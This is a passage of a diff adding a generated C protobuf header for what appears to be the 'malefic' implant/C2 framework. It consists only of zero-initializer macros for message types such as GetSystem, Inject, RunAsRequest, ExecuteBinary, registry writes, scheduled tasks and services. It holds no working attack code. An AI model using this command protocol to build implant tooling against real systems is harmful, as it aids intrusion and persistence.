malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero}} +#define malefic_Block_init_zero {0, {0, {0}}, 0} +#define malefic_ACK_init_zero {0, 0, 0} +#define malefic_Os_init_zero {"", "", "", "", "", "", "", 0, {"", "", "", "", "", "", "", ""}} +#define malefic_Process_init_zero {"", 0, 0, "", "", "", "", ""} +#define malefic_Timer_init_zero {"", 0} +#define malefic_FileInfo_init_zero {"", 0, 0, 0, 0, ""} +#define malefic_SacrificeProcess_init_zero {0, 0, 0, 0, ""} +#define malefic_LsResponse_init_zero {"", 0, 0, {malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero}} +#define malefic_DriveInfo_init_zero {"", "", 0, 0, ""} +#define malefic_EnumDriversResponse_init_zero {0, {malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero}} +#define malefic_PsResponse_init_zero {0, {malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero}} +#define malefic_ExecRequest_init_zero {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, 0, 0, 0} +#define malefic_ExecResponse_init_zero {0, {0, {0}}, {0, {0}}, 0, 0} +#define malefic_BinaryResponse_init_zero {{0, {0}}, {0, {0}}, 0, ""} +#define malefic_Modules_init_zero {0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Addons_init_zero {0, {malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero}} +#define malefic_Addon_init_zero {"", "", ""} +#define malefic_LoadModule_init_zero {"", {0, {0}}} +#define malefic_LoadAddon_init_zero {"", "", "", {0, {0}}} +#define malefic_ExecuteAddon_init_zero {"", false, malefic_ExecuteBinary_init_zero} +#define malefic_ExecuteBinary_init_zero {"", {0, {0}}, {{NULL}, NULL}, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, "", {0, {0}}, 0, 0, 0, false, malefic_SacrificeProcess_init_zero, "", "", 0} +#define malefic_ExecuteBinary_ParamEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ExecuteCommand_init_zero {"", false, malefic_SacrificeProcess_init_zero} +#define malefic_UploadRequest_init_zero {"", "", 0, {0, {0}}, 0, 0} +#define malefic_DownloadRequest_init_zero {"", "", 0, 0, 0} +#define malefic_DownloadResponse_init_zero {"", 0, 0, {0, {0}}} +#define malefic_CurlRequest_init_zero {"", 0, "", {0, {0}}, {{NULL}, NULL}, ""} +#define malefic_CurlRequest_HeaderEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ChownRequest_init_zero {"", "", "", 0} +#define malefic_IfconfigResponse_init_zero {0, {malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero}} +#define malefic_RegistryRequest_init_zero {"", false, malefic_Registry_init_zero} +#define malefic_Registry_init_zero {"", "", ""} +#define malefic_RegistryWriteRequest_init_zero {"", "", "", "", {0, {0}}, 0, 0, 0} +#define malefic_TaskScheduleRequest_init_zero {"", false, malefic_TaskSchedule_init_zero} +#define malefic_TaskSchedule_init_zero {"", "", "", 0, "", "", 0, "", ""} +#define malefic_TaskSchedulesResponse_init_zero {0, {malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero}} +#define malefic_ServiceRequest_init_zero {"", false, malefic_ServiceConfig_init_zero} +#define malefic_ServiceConfig_init_zero {"", "", "", 0, 0, ""} +#define malefic_ServiceStatus_init_zero {0, 0, 0, 0, 0} +#define malefic_Service_init_zero {false, malefic_ServiceConfig_init_zero, false, malefic_ServiceStatus_init_zero} +#define malefic_ServicesResponse_init_zero {0, {malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero}} +#define malefic_WmiQueryRequest_init_zero {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_WmiMethodRequest_init_zero {"", "", "", {{NULL}, NULL}} +#define malefic_WmiMethodRequest_ParamsEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_RunAsRequest_init_zero {"", "", "", "", "", 0, 0, 0} +#define malefic_GetSystem_init_zero {{0, {0}}, 0} +#define malefic_Inject_init_zero {{0, {0}}, 0} +#define malefic_Pipe_init_zero {"", "", {0, {0}}} +#define malefic_PipeRequest_init_zero {"", false, malefic_Pipe_init_zero} +#define malefic_Switch_init_zero {0, {"", 